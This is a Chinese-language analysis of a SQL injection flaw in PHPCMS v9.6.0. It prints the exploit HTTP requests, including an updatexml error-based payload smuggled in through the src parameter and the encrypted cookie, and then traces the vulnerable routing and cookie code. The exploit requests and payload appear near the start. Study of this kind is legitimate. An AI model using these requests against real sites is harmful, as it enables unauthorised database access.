参考:
https://zhuanlan.zhihu.com/p/26263513
phpcms所有版本安装:
http://download.phpcms.cn
GET /phpcms_v9.6.0_UTF8/install_package/index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1
并带上src参数的值为urlencoded的SQL注入payload。
POST /phpcms_v9.6.0_UTF8/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26&XDEBUG_SESSION_START=PHPSTORM HTTP/1.1
Host: 192.168.170.138
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
userid_flash=da90bGQOz3V90uIG23f384565T_CVQenu4kX1NTZ
这里urldecoded的payload为:
&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&
GET /phpcms_v9.6.0_UTF8/install_package/index.php?m=content&c=down&a_k=3924MOMhPqAhlJWpX4mgX_7ao1cb-rNZegUyjGe-i7FZQngtlY0EU_zBu3FfDXnaGm_VHpkjfLXEwslJ1J-F5B0kVwtCffMUfjEoxJudu2CwAE2iQ7SEr-q8kbQLjigKLmwlccOOs8-_aOVwhfJcwGXb-qDeiyTYfnKHAYLM0q_3CbBQ9y-BRyA HTTP/1.1
先引入base.php
,然后调用base.php
中的pc_base类的create_app()
函数。会加载libs/classes/application.class.php
base.php中定义了pc_base类:以及其create_app()
函数。
class pc_base {
/**
* 初始化应用程序
*/
public static function creat_app() {
return self::load_sys_class('application');
}
/**
* 加载系统类方法
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {
return self::_load_class($classname, $path, $initialize);
}
/**
* 加载类文件函数
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
...
}
create_app()
函数会加载libs/classes/application.class.php
,并执行其构造方法。
/**
* application.class.php PHPCMS应用程序创建类
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-7
*/
class application {
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param'); // 这里载入了libs/classes/param.class.php
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
/**
* 调用件事(最终调用某类的某方法)
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
/**
* 加载控制器(就是加载对应的类,初始化一个该类的对象)
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php'; //构造得到该类文件
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
在其构造方法中,调用 pc_base::load_sys_class('param');
会载入libs/classes/param.class.php
,而后define了三个变量,这三个变量通过查看libs/classes/param.class.php
可看出是获取了 G E T [ ] 或 者 _GET[]或者 GET[]或者_POST[]数组的m、c、a变量。于是define之后,将这些请求中的变量赋值给了ROUTE_M,ROUTE_C,ROUTE_A。
所以php中的路由就是这个吧。就是将类名和函数名传入,然后调用call_user_func。
call_user_func(array($controller, ROUTE_A));
其中,若请求中未传入a参数,则从$this->route_config['a'];
得到。而$this->route_config
在libs/classes/param.class.php
的开头的L22定义。
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
这里载入的pc_base::load_config(‘route’, ‘default’);就是在
caches/configs/route.php
文件中。
return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
即默认的模块(m)为content 目录;默认的类(c)为index.php,默认的函数(a)为init()。
所以最后一个请求中
index.php?m=content&c=down&a_k=xxx
未指定a参数,就会交给content/down.php的init()函数处理。
/**
* param.class.php 参数处理类
*
* @copyright (C) 2005-2012 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2012-9-17
*/
class param {
//路由配置
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
foreach($this->route_config['data']['POST'] as $_key => $_value) {
if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
}
if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
foreach($this->route_config['data']['GET'] as $_key => $_value) {
if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
}
}
if(isset($_GET['page'])) {
$_GET['page'] = max(intval($_GET['page']),1);
$_GET['page'] = min($_GET['page'],1000000000);
}
return true;
}
/**
* 获取模型(module后的目录名)
*/
public function route_m() {
$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');//GET设置了就用GET,否则用哪个POST的m参数
$m = $this->safe_deal($m);
if (empty($m)) {
return $this->route_config['m'];
} else {
if(is_string($m)) return $m;
}
}
/**
* 获取控制器(具体的类)
*/
public function route_c() {
$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
$c = $this->safe_deal($c);
if (empty($c)) {
return $this->route_config['c'];
} else {
if(is_string($c)) return $c;
}
}
/**
* 获取事件(具体类的具体处理函数)
*/
public function route_a() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
$a = $this->safe_deal($a);
if (empty($a)) {
return $this->route_config['a'];
} else {
if(is_string($a)) return $a;
}
}
...
/**
* 安全处理函数
* 处理m,a,c
*/
private function safe_deal($str) {
return str_replace(array('/', '.'), '', $str); // 把$str 中的/ . 替换为空
}
}
?>
在该类中会处理GET请求过来的a, m, c等参数。
在请求中传入的index.php?m=attachment&c=attachments&a=swfupload_json
,表示传给attachment/attachments.php
的swfupload_json()
函数处理。
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
依次判断$_SESSION['userid']
、param::get_cookie('_userid')
、sys_auth($_POST['userid_flash'],'DECODE')
的值。这个$this->userid
很重要,因为如果没有获取到,就得重新登录,终止这次请求(L21~L22)。
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename'])); //漏洞利用请求里没有这个字段
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json'); // 第一次没有set的话,是空的
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; // 第一次是空的,所以就取$json_str了
param::set_cookie('att_json',$json_str);
return true;
}
}
所以整个过程就是把aid和src字段进行json_encode(),然后作为参数传入param::set_cookie()。
其中get_cookie()
和set_cookie()
在libs/classes/param.class.php
中定义。然后将经过sys_auth(“ENCODE”)加密的SQL注入payload通过Set-Cookie中的wknmv_att_json
的值响应给客户端。
/**
* 设置 cookie
* @param string $var 变量名
* @param string $value 变量值
* @param int $time 过期时间
*/
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var; //caches/configs/system.php:13:'cookie_pre' => 'wknmv_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
$_COOKIE[$var] = $value;
if (is_array($value)) { //若$value为数组,则对其每一个值setcookie()
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
/**
* 获取通过 set_cookie 设置的 cookie 变量
* @param string $var 变量名
* @param string $default 默认值
* @return mixed 成功则返回cookie 值,否则返回 false
*/
public static function get_cookie($var, $default = '') {
$var = pc_base::load_config('system','cookie_pre').$var;
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
$value = intval($value);
} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth
$value = safe_replace($value);
}
return $value;
}
/**
* 字符串加密、解密函数
*
*
* @param string $txt 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param string $expiry 过期时间
* @return string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
...
}
在最终的请求三中,url为index.php?m=content&c=down&a_k=xxx
请求index.php后,会通过路由将请求交给modules/content/down.php的init()函数处理。其中init()函数如下:
会通过libs/functions/global.func.php的sys_auth()函数处理。sys_auth()将payload解密,解密之后的a_k
变量的值如图中的调试变量所示。
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
L24,获取到表名:phpcmsv9_download
。然后调用get_one()函数,
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
这里将原来的值转换为
`id` = '' and updatexml(1,concat(1,(user())),1)#'
最后返回的值为:
k
在请求一中,url为index.php?m=wap&c=index&a=init&siteid=1